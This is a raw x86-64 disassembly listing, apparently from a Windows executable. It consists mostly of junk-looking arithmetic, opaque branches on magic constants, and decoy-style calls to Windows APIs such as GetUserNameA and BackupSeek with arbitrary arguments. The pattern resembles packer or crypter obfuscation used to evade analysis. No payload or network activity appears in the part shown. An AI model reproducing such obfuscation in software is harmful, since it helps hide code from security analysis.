mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x40e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x14e], al
mov eax, dword [rsp + 0x3ff8]
sub eax, 8
mov dword [rsp + 0x3ff8], eax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [rsp + 0x40e4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d790], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0xc48], ax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
sar eax, cl
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
xor eax, ecx
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x14e]
or eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa508]
mov qword [rsp + 0xa538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa538]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa508]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x4070]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [0x140199008]
and eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov word [rsp + 0xea0], ax
movzx eax, byte [0x14019d794]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4018]
shr eax, cl
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
shl eax, cl
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [0x140199008]
or eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
cmp dword [rsp + 0x3ff8], 0x27c5
jae 0x140011b5c
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
and eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov dword [rsp + 0x4114], eax
cmp dword [rsp + 0x4114], 0
je 0x140011ece
cmp dword [rsp + 0x4114], 0x5e3ec0c4
je 0x14017430b
jmp 0x1401743a4
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0x4118], eax
cmp dword [rsp + 0x4118], 0x53e9
je 0x140011ef2
jmp 0x140012040
lea rdx, [rsp + 0x4028]
mov rcx, qword [rsp + 0xa4e0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x411c], eax
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x40e4], eax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
mov dword [rsp + 0x4120], ecx
movzx edx, byte [rsp + 0x14f]
movzx ecx, dl
mov edx, dword [rsp + 0x4120]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14001203e
movzx eax, word [rsp + 0xb08]
mov dword [rsp + 0x4124], eax
cmp dword [rsp + 0x4124], 0x47d
je 0x14001201e
cmp dword [rsp + 0x4124], 0xd15
je 0x140011fb9
jmp 0x14001203e
mov r9d, 0xc7
lea r8, [rsp + 0xa3f8]
mov edx, 0x8a
mov rcx, qword [rsp + 0xa518]
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f0], eax
mov r8d, 0x89
mov rdx, qword [rsp + 0xa4e8]
mov ecx, 0x81
call sub.KERNEL32.dll_VerLanguageNameA
mov dword [rsp + 0x4128], eax
jmp 0x14001203e
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f98]
sar eax, cl
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
jmp 0x14001207c
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40e4], eax
lea rax, [0x14019d794]
mov qword [rsp + 0xa540], rax
lea rax, [rsp + 0xea0]
mov qword [rsp + 0xa548], rax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
mov word [rsp + 0xeb0], ax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x40e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4000], eax
mov eax, dword [rsp + 0x408c]
sub eax, 0x53
mov dword [rsp + 0x408c], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
movzx eax, byte [0x14019d794]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x14f], al
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
sar eax, cl
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f98]
shl eax, cl
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x4128]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [0x14019d790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
mov eax, dword [rsp + 0x40e4]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [0x14019beec]
sub eax, ecx
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa500]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x151]
add eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
and eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa550], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa550]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x40e4], eax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14f]
shl eax, cl
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
xor eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
cmp dword [rsp + 0x408c], 0x862d
jae 0x14001207c
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x412c], al
cmp byte [rsp + 0x412c], 0
je 0x14001238e
jmp 0x14017421f
mov eax, dword [rsp + 0x40e4]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4128]
mov dword [rsp + 0x4130], eax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xa500]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jle 0x140012406
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
movsx ecx, word [rsp + 0xeac]
movsx edx, word [rsp + 0xc48]
add ecx, edx
cmp eax, ecx
je 0x1401741ed
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
or eax, ecx
movsx ecx, word [rsp + 0xeb0]
mov dword [rsp + 0x4134], ecx
movsx edx, word [rsp + 0xeac]
movzx ecx, dl
mov edx, dword [rsp + 0x4134]
sar edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1400124c0
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
lea rax, [0x140199008]
mov qword [rsp + 0xa558], rax
jmp 0x1400125a9
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
xor eax, ecx
movzx ecx, byte [rsp + 0x151]
mov dword [rsp + 0x4138], ecx
mov rdx, qword [rsp + 0xa540]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4138]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1400125a9
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
and eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
lea rax, [rsp + 0xa380]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xa508]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x14f]
mov r8d, 0x81
mov edx, 0x9a
mov rcx, qword [rsp + 0xa560]
call qword [sym.imp.KERNEL32.dll_BackupSeek]
mov dword [rsp + 0x40cc], eax
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xa568], rax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x413c], eax
cmp dword [rsp + 0x413c], 0xe02b5f4d
je 0x1400125d9
jmp 0x140012615
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
jmp 0x140012672
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4088], eax
mov dword [rsp + 0x4140], 0x1306
mov eax, dword [rsp + 0x4088]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
movsx ecx, word [rsp + 0xc48]
movsx edx, word [rsp + 0xeac]
xor ecx, edx
cmp eax, ecx
jge 0x14001274f
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0xeb4], ax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4130], eax
mov eax, dword [0x14019bee8]
movzx ecx, al
mov eax, dword [rsp + 0x4080]
shl eax, cl
mov dword [rsp + 0x4000], eax
mov eax, dword [rsp + 0x3fdc]
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xa4c8]
mov eax, dword [rax]
mov dword [rsp + 0x4128], eax
lea rax, [rsp + 0x14e]
mov qword [0x14019d7a0], rax
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xa570], rax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea0]
sar eax, cl
mov word [rsp + 0xea8], ax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xa578], rax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14c]
and eax, ecx
mov byte [rsp + 0x150], al
mov eax, dword [rsp + 0x3fac]
mov dword [rsp + 0x4148], eax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa540]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0xa570]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x1400127c2
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov rcx, qword [rsp + 0xa540]
mov byte [rcx], al
mov eax, dword [0x14019bee8]
mov dword [rsp + 0x414c], eax
cmp dword [rsp + 0x414c], 0x24aaaac9
je 0x14001289b
cmp dword [rsp + 0x414c], 0x631bf13e
je 0x140012811
jmp 0x1400128b4
lea r9, [rsp + 0xeb0]
mov r8d, 0xa4
mov edx, 0x34
mov rcx, qword [rsp + 0xa580]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0xa580], rax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x4144]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d790], eax
lea rdx, [rsp + 0xa348]
lea rcx, str.C:Used_brittleTeasing_varying
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov dword [rsp + 0x403c], eax
movzx ecx, word [rsp + 0xea4]
call fcn.1401751a0
nop
jmp 0x1400128b4
mov eax, dword [rsp + 0x4148]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x14e]
or eax, ecx
mov byte [rsp + 0x151], al
cmp dword [rsp + 0x4140], 0x3472
jae 0x140012c6e
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
xor eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov eax, dword [rsp + 0x4070]
movzx ecx, al
mov eax, dword [rsp + 0x4148]
shr eax, cl
mov dword [rsp + 0x4128], eax
mov eax, dword [rsp + 0x3fc0]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
shl eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019bee8], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x4070]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [rsp + 0xa508]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4130], eax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xb08]
sub eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14019d794], al
mov eax, dword [rsp + 0x3fc0]
movzx ecx, al
mov eax, dword [rsp + 0x4144]
sar eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4070]
mov ecx, dword [rsp + 0x4148]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
shl eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4140]
add eax, 0x7c
mov dword [rsp + 0x4140], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40e4], eax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [rsp + 0x151], al
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd48]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019beec], ax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
and eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov byte [rsp + 0x14e], al
mov eax, dword [rsp + 0x3fac]
mov ecx, dword [rsp + 0x4148]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov eax, dword [rsp + 0x400c]
mov rcx, qword [rsp + 0xa4a0]
mov qword [rsp + 0xa588], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa588]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4144], eax
mov eax, dword [rsp + 0x3f98]
movzx ecx, al
mov eax, dword [rsp + 0x40e4]
shl eax, cl
mov dword [rsp + 0x4088], eax
jmp 0x1400128fe
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [0x14019beec]
or eax, ecx
movsx ecx, word [rsp + 0xd48]
mov rdx, qword [rsp + 0xa440]
movsx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jne 0x140012cf3
lea rdx, [rsp + 0xd48]
mov rcx, qword [rsp + 0xa388]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
mov dword [rsp + 0x4014], eax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3ffc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4000], eax
jmp 0x140012da8
lea rax, [rsp + 0xeac]
mov qword [0x14019d7a8], rax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov word [rsp + 0xeb8], ax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14e], al
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xa590], rax
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4148]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [0x14019d790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4150], eax
lea rax, [rsp + 0x4088]
mov qword [rsp + 0xa598], rax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa570]
mov byte [rcx], al
movzx eax, word [rsp + 0xeb8]
mov word [rsp + 0xebc], ax
cmp dword [rsp + 0x4020], 0x381a
jbe 0x1400131dd
movsx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140199008], al
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa578]
mov word [rcx], ax
mov rax, qword [rsp + 0xa568]
mov ecx, dword [rsp + 0x4070]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
shl eax, cl
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov rcx, qword [rsp + 0xa540]
mov byte [rcx], al
mov eax, dword [rsp + 0x4020]
sub eax, 0x50
mov dword [rsp + 0x4020], eax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa568]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4150]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d7a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4144]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa598]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0xa568]
mov rcx, qword [rsp + 0xa508]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa358]
